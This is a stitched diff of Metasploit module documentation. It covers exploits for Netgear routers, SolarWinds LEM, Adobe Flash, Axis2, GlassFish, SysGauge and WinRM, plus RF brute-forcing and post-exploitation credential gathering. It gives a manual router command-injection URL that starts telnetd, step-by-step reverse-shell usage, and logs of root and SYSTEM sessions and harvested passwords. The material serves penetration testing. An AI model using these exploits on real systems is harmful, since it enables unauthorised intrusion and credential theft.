The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. A fairly useful manual command injection is like so: `http://<RouterIP>/cgi-bin/;telnetd$IFS-p$IFS'45'` will open telnet on port 45.
## Vulnerable Application
@ -12,47 +12,39 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po
3. Do: `set RHOST <RouterIP>`
4. Do: `set PAYLOAD <payload>`
5. Do: `run`
6. If the router is a R7000 or R6400, the module should run
6. If the router is a R7000 or R6400, you should get a session
## Options
**PAYLOAD**
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`
## Scenarios
Sample output of the options looks like so
Sample output of a successful session:
```
msf exploit(netgear_r7000_cgibin_exec) > options
msf exploit(netgear_r7000_cgibin_exec) > run
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Router is a NETGEAR router (R7000)
[+] Router may be vulnerable (NETGEAR R7000)
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://[redacted]:8080/
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600
[*] Server stopped.
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.1 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.153.34 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf exploit(netgear_r7000_cgibin_exec) >
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.1.4
OS : (Linux 2.6.36.4brcmarm+)
Architecture : armv7l
Meterpreter : armle/linux
meterpreter >
```
As you can see, the `uid` is 0, meaning you have root access.

View File

@ -0,0 +1,49 @@
## Vulnerable Application
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH service is accessed with the default username and password which is "cmc" and "password". By exploiting a vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
Vulnerable application can be download as a free trial from vendor webpage.
[http://www.solarwinds.com/log-event-manager](http://www.solarwinds.com/log-event-manager)
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/ssh/solarwinds_lem_exec`
3. Do: `set rhost <ip>`
4. Do: `set lhost <ip>`
5. Do: `exploit`
6. You should get a shell.
## Scenarios
This is a run against a known vulnerable Solarwinds LEM server.
```
msf exploit(solarwind_lem_exec) > exploit
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] 12.0.0.154:32022 - Attempt to login...
[+] SSH connection is established.
[*] Requesting pty... We need it in order to interact with menuing system.
[+] Pty successfully obtained.
[*] Requesting a shell.
[+] Remote shell successfully obtained.
[+] Step 1 is done. Managed to access terminal menu.
[+] Step 2 is done. Managed to select 'service' sub menu.
[+] Step 2 is done. Managed to select 'service' sub menu.
[+] Step 3 is done. Managed to start 'restrictssh' function.
[+] Step 4 is done. We are going to try escape from jail shell.
[+] Sweet..! Escaped from jail.
[*] Delivering payload...
[*] Sending stage (38651 bytes) to 12.0.0.154
[*] Meterpreter session 3 opened (12.0.0.1:4444 -> 12.0.0.154:43361) at 2017-03-17 21:59:05 +0300
[-] Exploit failed: Errno::EBADF Bad file descriptor
[*] Exploit completed, but no session was created.
msf exploit(solarwind_lem_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: cmc
meterpreter >
```

View File

@ -0,0 +1,65 @@
## Description
This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public as part of the July 2015 data leak, was described as an Use After Free while handling ByteArray objects. This module has been tested successfully on:
1. Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194.
2. Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194.
3. Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194.
4. Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194.
5. Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
## Verification Steps
1. Do: ```use exploit/multi/browser/adobe_flash_hacking_team_uaf```
2. Do: ```set payload windows/meterpreter/reverse_tcp```
2. Do: ```set LHOST [IP]```
3. Do: ```set SRVHOST [IP]```
3. Do: ```set URIPATH / [PATH]```
4. Do: ```run```
## Sample Output
### IE 11 and Flash 18.0.0.194
```
msf > use exploit/multi/browser/adobe_flash_hacking_team_uaf
msf exploit(adobe_flash_hacking_team_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_flash_hacking_team_uaf) > set LHOST 172.16.178.160
LHOST => 172.16.178.160
msf exploit(adobe_flash_hacking_team_uaf) > set srvhost 172.16.178.80
srvhost => 172.16.178.80
msf exploit(adobe_flash_hacking_team_uaf) > set SRVPORT 80
SRVPORT => 80
msf exploit(adobe_flash_hacking_team_uaf) > set URIPATH /
URIPATH => /
msf exploit(adobe_flash_hacking_team_uaf) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.178.160:4444
[*] Using URL: http://0.0.0.0:80/
msf exploit(adobe_flash_hacking_team_uaf) > [*] Local IP: http://127.0.0.1:80/
[*] Server started.
msf exploit(adobe_flash_hacking_team_uaf) >
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Gathering target information.
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending HTML response.
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Request: /rGaaQS/
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending HTML...
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Request: /rGaaQS/AsvCG.swf
[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending SWF...
[*] Sending stage (957999 bytes) to 172.16.178.80
[*] Meterpreter session 1 opened (172.16.178.160:4444 -> 172.16.178.80:49167) at 2017-03-26 22:51:29 +0900
msf exploit(adobe_flash_hacking_team_uaf) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WIN7X64TJ7XH-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
```

View File

@ -0,0 +1,62 @@
## Description
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.
## Axis2 Web Admin
The Apache Axis2 Web application has three main sections:'Services' lists all the available services deployed in this server, 'Validate' checks the system to see whether all the required libraries are in place and views the system information, and 'Administration' is the Axis2 Web Administration module which is the console for administering the Apache Axis2 installation. The Axis2 Web Administration module provides a way to configure Axis2 dynamically.
**IMPORTANT:** This dynamic configuration will NOT be persistent, i.e., if the servlet container is restarted, then all the dynamic configuration changes will be lost.
## Verification Steps
1. Do: ```use exploit/multi/http/axis2_deployer```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
3. Do: ```set USERNAME [Username]```
4. Do: ```set PASSWORD [Password]```
5. Do: ```run```
## Sample Output
```
msf > use exploit/multi/http/axis2_deployer
msf exploit(axis2_deployer) > set RHOST 10.10.155.37
RHOST => 10.10.155.37
msf exploit(axis2_deployer) > set RPORT 8080
RPORT => 8080
msf exploit(axis2_deployer) > set USERNAME admin
USERNAME => admin
msf exploit(axis2_deployer) > set PASSWORD admin123
PASSWORD => admin123
msf exploit(axis2_deployer) > exploit
[*] Started reverse TCP handler on 10.10.155.39:4444
[+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2'
[*] Successfully uploaded
[*] Polling to see if the service is ready
[*] Sending stage (30355 bytes) to 10.10.155.37
[*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500
[*] NOTE: You will need to delete the web service that was uploaded.
[*] Using meterpreter:
[*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar"
[*] Using the shell:
[*] cd "webapps/axis2/WEB-INF/services"
[*] del mdLFvgMv.jar
meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : juan-6ed9db6ca8
OS : Windows 2003 5.2 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit
```

View File

@ -0,0 +1,70 @@
## Description
This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer GlassFish versions do not allow remote access (Secure Admin) by default, but is required for exploitation.
## GlassFish
GlassFish is a open-source application server project started by Sun Microsystems for the Java EE platform and now sponsored by Oracle Corporation. The supported version is called Oracle GlassFish Server. GlassFish is free software, dual-licensed under two free software licences: the Common Development and Distribution License (CDDL) and the GNU General Public License (GPL) with the classpath exception.
## Installation
For testing purposes, the following explains how you can install a vulnerable version of GlassFish on Ubuntu Linux:
1. Make sure you have a clean Ubuntu box
2. Open a terminal on the Ubuntu box, and do: ```sudo apt-get install default-jdk```. We assume this gives you JDK 8.
3. Download [GlassFish 4.0](http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip)
4. Unzip GlassFish-4.0, navigate to the bin directory, and then start ```asadmin```
5. In the asadmin console, do ```start-domain domain1```. This will start GlassFish.
6. On the Ubuntu box, go to http://localhost:4848 with a browser
7. On the left menu, click on ```Domain```
8. On the right, click on ```Administrator Password```
9. Set a new password for admin
10. On the left menu, click on ```server (Admin server)```
11. On the right, click on ```Secure Administrator```
12. Click on ```Enable Secure Admin```
13. You will need to wait for up to a minute to make sure GlassFish is up and running again on port 4848.
If you are on a different platform (such as Windows), the installation should be quite similar.
## Verification Steps
1. Do: ```use exploit/multi/http/glassfish_deployer```
2. Do: ```set RHOST [IP]```
3. Do: ```set USERNAME [Username]```
4. Do: ```set PASSWORD [Password]```
5. Do: ```run```
## Sample Output
```
msf > use exploit/multi/http/glassfish_deployer
msf exploit(glassfish_deployer) > set RHOST 172.16.182.237
RHOST => 172.16.182.237
msf exploit(glassfish_deployer) > set USERNAME admin
USERNAME => admin
msf exploit(glassfish_deployer) > set PASSWORD admin123
PASSWORD => admin123
msf exploit(glassfish_deployer) > exploit
[*] Started reverse TCP handler on 172.16.182.112:4444
[*] Glassfish edition: GlassFish Server Open Source Edition 3.0.1
[*] Trying GlassFish authentication bypass..
[+] http://172.16.182.237:4848// - GlassFish - SUCCESSFUL authentication bypass
[*] Uploading payload...
[*] Successfully uploaded
[*] Executing /icDfejbl6Vc9ZobfgVv9LIBES/SV7fVtWuTQFZqtzMPiJ.jsp...
[*] Sending stage (30355 bytes) to 172.16.182.237
[*] Meterpreter session 1 opened (172.16.182.112:4444 -> 172.16.182.237:1472) at 2017-03-27 19:07:58 -0500
[*] Getting information to undeploy...
[*] Undeploying icDfejbl6Vc9ZobfgVv9LIBES...
[*] Undeployment complete.
meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : juan-6ed9db6ca8
OS : Windows 2003 5.2 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...
```

View File

@ -0,0 +1,41 @@
## Vulnerable Application
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
via its SMTP server validation. The module sends a malicious response along in the
220 service ready response and exploits the client, resulting in an unprivileged shell.
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/windows/smtp/sysgauge_client_bof```
4. Do: ```set payload windows/meterpreter/reverse_tcp```
5. Do: ```set LHOST ip```
6. Do: ```run```
7. The user should put your `SRVHOST` or other applicable IP address in the SMTP configuration
in the program, and hit the "Verify Email ..." button.
8. You should get a shell.
## Scenarios
Here is how to typically execute the module. Note that the client must input this SMTP server
information under SysGauge Options and hit the "Verify Email ..." button.
```
msf > use exploit/windows/smtp/sysgauge_client_bof
msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1
lhost => 10.0.0.1
msf exploit(sysgauge_client_bof) > exploit
[*] Exploit running as background job.
msf exploit(sysgauge_client_bof) >
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Server started.
[*] Client connected: 10.0.0.128
[*] Sending payload...
[*] Sending stage (957487 bytes) to 10.0.0.128
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500
```

View File

@ -0,0 +1,146 @@
## Vulnerable Application
WinRM, is a Windows-native built-in remote management protocol in its simplest form that uses Simple Object Access Protocol to interface with remote computers and servers, as well as Operating Systems and applications. It handles remote connections by means of the WS-Management Protocol, which is based on SOAP (Simple Object Access Protocol).
This module uses valid credentials to login to the WinRM service and execute a payload. It has two available methods for payload delivery: Powershell 2.0 and VBS CmdStager. This module will check if Poweshell 2.0 is available, and if so then it will use that method. Otherwise it falls back to the VBS CmdStager which is less stealthy.
**IMPORTANT:** If targetting an x64 system with the Poweshell method, one must select an x64 payload. An x86 payload will never return.
## Example Usage
### Windows 2008
**Powershell 2.0 is used for payload delivery here**
```
msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec
msf exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(winrm_script_exec) > set USERNAME admin
USERNAME => admin
msf exploit(winrm_script_exec) > set PASSWORD admin
PASSWORD => admin
msf exploit(winrm_script_exec) > set LHOST 192.168.198.138
LHOST => 192.168.198.138
msf exploit(winrm_script_exec) > set LPORT 4444
LPORT => 4444
msf exploit(winrm_script_exec) > set RHOST 192.168.198.130
RHOST => 192.168.198.130
msf exploit(winrm_script_exec) > exploit
[*] Started reverse TCP handler on 192.168.198.138:4444
[*] checking for Powershell 2.0
[*] Attempting to set Execution Policy
[+] Set Execution Policy Successfully
[*] Grabbing %TEMP%
[*] Uploading powershell script to C:\Users\ADMINI~1\AppData\Local\Temp\uFWUOIgQ.ps1 (This may take a few minutes)...
[*] Attempting to execute script...
[*] Sending stage (752128 bytes) to 192.168.198.130
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:30:05 +0100
meterpreter >
[*] Session ID 1 (192.168.198.138:4444 -> 192.168.198.130:5985) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
[*] Current server process: powershell.exe (608)
[+] Migrating to 568
[+] Successfully migrated to process
meterpreter > sysinfo
gComputer : WIN-JZF4OTQMX4W
OS : Windows 2008 (Build 6002, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
gServer username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 568
meterpreter >
```
**VBS CmdStager is used for payload delivery here**
```
msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec
msf exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(winrm_script_exec) > set USERNAME admin
USERNAME => admin
msf exploit(winrm_script_exec) > set PASSWORD admin
PASSWORD => admin
msf exploit(winrm_script_exec) > set LHOST 192.168.198.138
LHOST => 192.168.198.138
msf exploit(winrm_script_exec) > set LPORT 4444
LPORT => 4444
msf exploit(winrm_script_exec) > set RHOST 192.168.198.130
RHOST => 192.168.198.130
msf exploit(winrm_script_exec) > set FORCE_VBS true
FORCE_VBS => true
msf exploit(winrm_script_exec) > exploit
[*] Started reverse TCP handler on 192.168.198.138:4444
[*] User selected the FORCE_VBS option
[*] Command Stager progress - 2.01% done (2046/101936 bytes)
[*] Command Stager progress - 4.01% done (4092/101936 bytes)
[*] Command Stager progress - 6.02% done (6138/101936 bytes)
[*] Command Stager progress - 8.03% done (8184/101936 bytes)
[*] Command Stager progress - 10.04% done (10230/101936 bytes)
[*] Command Stager progress - 12.04% done (12276/101936 bytes)
[*] Command Stager progress - 14.05% done (14322/101936 bytes)
[*] Command Stager progress - 16.06% done (16368/101936 bytes)
[*] Command Stager progress - 18.06% done (18414/101936 bytes)
[*] Command Stager progress - 20.07% done (20460/101936 bytes)
[*] Command Stager progress - 22.08% done (22506/101936 bytes)
[*] Command Stager progress - 24.09% done (24552/101936 bytes)
[*] Command Stager progress - 26.09% done (26598/101936 bytes)
[*] Command Stager progress - 28.10% done (28644/101936 bytes)
[*] Command Stager progress - 30.11% done (30690/101936 bytes)
[*] Command Stager progress - 32.11% done (32736/101936 bytes)
[*] Command Stager progress - 34.12% done (34782/101936 bytes)
[*] Command Stager progress - 36.13% done (36828/101936 bytes)
[*] Command Stager progress - 38.14% done (38874/101936 bytes)
[*] Command Stager progress - 40.14% done (40920/101936 bytes)
[*] Command Stager progress - 42.15% done (42966/101936 bytes)
[*] Command Stager progress - 44.16% done (45012/101936 bytes)
[*] Command Stager progress - 46.16% done (47058/101936 bytes)
[*] Command Stager progress - 48.17% done (49104/101936 bytes)
[*] Command Stager progress - 50.18% done (51150/101936 bytes)
[*] Command Stager progress - 52.19% done (53196/101936 bytes)
[*] Command Stager progress - 54.19% done (55242/101936 bytes)
[*] Command Stager progress - 56.20% done (57288/101936 bytes)
[*] Command Stager progress - 58.21% done (59334/101936 bytes)
[*] Command Stager progress - 60.21% done (61380/101936 bytes)
[*] Command Stager progress - 62.22% done (63426/101936 bytes)
[*] Command Stager progress - 64.23% done (65472/101936 bytes)
[*] Command Stager progress - 66.24% done (67518/101936 bytes)
[*] Command Stager progress - 68.24% done (69564/101936 bytes)
[*] Command Stager progress - 70.25% done (71610/101936 bytes)
[*] Command Stager progress - 72.26% done (73656/101936 bytes)
[*] Command Stager progress - 74.26% done (75702/101936 bytes)
[*] Command Stager progress - 76.27% done (77748/101936 bytes)
[*] Command Stager progress - 78.28% done (79794/101936 bytes)
[*] Command Stager progress - 80.29% done (81840/101936 bytes)
[*] Command Stager progress - 82.29% done (83886/101936 bytes)
[*] Command Stager progress - 84.30% done (85932/101936 bytes)
[*] Command Stager progress - 86.31% done (87978/101936 bytes)
[*] Command Stager progress - 88.31% done (90024/101936 bytes)
[*] Command Stager progress - 90.32% done (92070/101936 bytes)
[*] Command Stager progress - 92.33% done (94116/101936 bytes)
[*] Command Stager progress - 94.34% done (96162/101936 bytes)
[*] Command Stager progress - 96.34% done (98208/101936 bytes)
[*] Command Stager progress - 98.35% done (100252/101936 bytes)
[*] Sending stage (752128 bytes) to 192.168.198.130
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:46:05 +0100
[*] Session ID 2 (192.168.198.138:4444 -> 192.168.1.142:49158) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
[*] Current server process: mSPvA.exe (3548)
[+] Migrating to 580
[+] Successfully migrated to process
[*] nil
[*] Command Stager progress - 100.00% done (101936/101936 bytes)
meterpreter > getpid
Current pid: 580
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-OPAUFTQFWTB
OS : Windows 2008 (Build 6002, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```

View File

@ -0,0 +1,88 @@
Port of a brute force utility by LegacySecurityGroup, the original can be found
[here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py).
It's a generic AM/OOK brute forcer with PWM translations. It has been
demonstrated to work against static key garage door openers.
## Options ##
**FREQ**
Frequency to brute force.
**BAUD**
Baud rate. Default: 2000
**BINLENGTH**
Binary bit-length for bruteforcing. Default: 8
**REPEAT**
How many times to repeat the sending of the packet. Default: 5
**PPAD**
Binary data to append to packet. (Example: "0101") Default: None
**TPAD**
Binary data to add to end of packet. (Example: "0101") Default: None
**RAW**
Do not do PWM encoding on packet. Default: False
**TRI**
Use trinary signals. Default: False
**EXTRAVERBOSE**
Adds some extra status messages.
**INDEX**
USB Index number. Default: 0
**DELAY**
How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default: 500 (0.5 seconds)
## Scenarios
Run a brute force of 6 characters long with 2 repeats:
```
hwbridge > run post/hardware/rftransceiver/rfpwnon FREQ=915000000 BINLEGTH=6 REPEAT=2
[*] Generating de bruijn sequence...
[*] Brute forcing frequency: 915000000
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000000
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101110
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000000
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101110
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000001
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101000
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000001
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101000
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000010
[*] Binary after PWM encoding:
[*] 11101110111011101110111010001110
[*] Transmitting...
...
```

View File

@ -0,0 +1,40 @@
Simple module to transmit a given frequency for a specified amount of seconds. This
code was ported from [AndrewMohawk](https://github.com/AndrewMohawk).
NOTE: Users of this module should be aware of their local laws,
regulations, and licensing requirements for transmitting on any
given radio frequency.
## Options ##
**FREQ**
Frequency to brute force.
**BAUD**
Baud rate. Default: 4800
**POWER**
Power level to specify. Default: 100
**SECONDS**
How many seconds to transmit the signal. Default: 4
**INDEX**
USB Index number. Default: 0
## Scenarios
Transmit a given signal for 4 seconds
```
hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000
[*] Transmitting on 433880000 for 4 seconds...
[*] Finished transmitting
```

View File

@ -0,0 +1,38 @@
Actively scans the Zigbee channels by sending a beacon broadcast packet and listening for responses.
## Options
**DEVICE**
ZigBee Device ID. Defaults to the target device that is specified via the target command or if
one device is presented when running 'supported_devices' it will use that device.
**CHANNEL**
The channel to scan. Setting this options will prevent the stumbler from changing channels. Range is 11-26, inclusive. Default: not set
n
**LOOP**
How many times to loop over the channels. Specifying a -1 will loop forever. Default: 1
**DELAY**
The delay in seconds to listen to each channel. Default: 2
## Scenarios
Scanning channel 11 for other ZigBee devices in the area.
```
hwbridge > run post/hardware/zigbee/zstumbler channel=11
[*] Scanning Channel 11
[*] New Network: PANID: 0x4724 SOURCE: 0x25D5
[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise
[*] Stack Version: ZigBee 2006/2007
[*] Channel: 11
[*] New Network: PANID: 0x4724 SOURCE: 0x7DD1
[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise
[*] Stack Version: ZigBee 2006/2007
[*] Channel: 11
```

View File

@ -0,0 +1,100 @@
## Creating A Testing Environment
For this module to work you need a linux or windows machine.
* For linux you can run something like `apt-get install tomcat7` to get a working tomcat service.
* For WIndows you can download tomcat from http://tomcat.apache.org/ and then install it as a service.
This module has been tested against:
1. Xubuntu and Ubuntu Server 16.04 with tomcat 7, 8.
2. Windows 10 with tomcat 6, 7.
3. Windows XP with tomcat 5.5, 6, 7, 8
This module was not tested against, but may work against:
1. Other versions of linux running tomcat v4-9
2. Other version of windows running tomcat v4-9
## Verification Steps
1. Start msfconsole
2. Obatin a meterpreter session via whatever method
3. Do: `use post/multi/gather/tomcat_gather`
4. Do: `set session #`
5. Do: `run`
## Scenarios
### Xubuntu 16.04 with tomcat 7 and 8
#### Running without read permissions
msf post(tomcat_gather) > set session 1
session => 1
msf post(tomcat_gather) > run
[*] [2017.03.31-10:19:27] Unix OS detected
[*] [2017.03.31-10:19:28] /etc/tomcat7/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] /etc/tomcat8/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] No user credentials have been found
[*] Post module execution completed
#### Running with read permissions
msf post(tomcat_gather) > set session 2
session => 2
msf post(tomcat_gather) > run
[*] [2017.03.31-10:33:14] Unix OS detected
[*] [2017.03.31-10:33:15] /etc/tomcat7/tomcat-users.xml found
[*] [2017.03.31-10:33:15] /etc/tomcat8/tomcat-users.xml found
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat7/tomcat-users.xml - tomcat2:s3cret
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat8/tomcat-users.xml - tomcat2:s3cret
[*] Post module execution completed
msf post(tomcat_gather) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password
### Windows 10 with tomcat 7
#### Running with read permissions
msf post(tomcat_gather) > run
[*] [2017.03.31-10:43:18] Windows OS detected, enumerating services
[+] [2017.03.31-10:43:18] Tomcat service found
[*] [2017.03.31-10:43:18] C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml found!
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - tomcat:tomcat
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - both:<must-be-changed>
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - role1:<must-be-changed>
[*] Post module execution completed
msf post(tomcat_gather) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) tomcat tomcat Password
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) both <must-be-changed> Password
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) role1 <must-be-changed> Password

View File

@ -0,0 +1,143 @@
## Vulnerable Application
This post-exploitation module extracts clear text credentials from dynazip.log.
The dynazip.log file is located in `%WINDIR%` and contains log entries generated during encryption of Compressed Folders (zip files) in Microsoft&reg; Plus! 98 and Windows&reg; Me. Each log entry contains detailed diagnostic information generated during the encryption process, including the zip file name and the password used to encrypt the zip file in clear text.
Microsoft released details of the vulnerability in [Microsoft Security Bulletin MS01-019](https://technet.microsoft.com/en-us/library/security/MS01-019) rated as Critical. A patch which disabled use of the log file was also released; however the patch failed to clear the contents of the existing log file.
Microsoft&reg; Plus! 98 and Windows&reg; Me are no longer supported by Microsoft.
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use post/windows/gather/credentials/dynazip_log`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see the extracted credentials in the module output
## Example Run
**Default Output**
```
msf post(dynazip_log) > exploit
[+] Found DynaZip log file: C:\WINDOWS\dynazip.log
[+] File: 'C:\WINDOWS\Desktop\secret.zip' -- Password: 'my secret password!'
[+] File: 'C:\WINDOWS\Desktop\private.zip' -- Password: 'priv8'
[+] File: 'C:\WINDOWS\Desktop\thepasswordisaspace.zip' -- Password: ' '
[+] File: 'C:\WINDOWS\Desktop\earthbound.zip' -- Password: 'fuzzy pickles'
ZIP Passwords
=============
File Path Password
--------- --------
C:\WINDOWS\Desktop\earthbound.zip fuzzy pickles
C:\WINDOWS\Desktop\private.zip priv8
C:\WINDOWS\Desktop\secret.zip my secret password!
C:\WINDOWS\Desktop\thepasswordisaspace.zip
[*] Post module execution completed
```
**Verbose Output**
```
msf post(dynazip_log) > set verbose true
verbose => true
msf post(dynazip_log) > exploit
[+] Found DynaZip log file: C:\WINDOWS\dynazip.log
[*] Processing log file (6614 bytes)
[*] Processing log entry for C:\WINDOWS\Desktop\secret.zip
[+] File: 'C:\WINDOWS\Desktop\secret.zip' -- Password: 'my secret password!'
[*] Processing log entry for C:\WINDOWS\Desktop\private.zip
[+] File: 'C:\WINDOWS\Desktop\private.zip' -- Password: 'priv8'
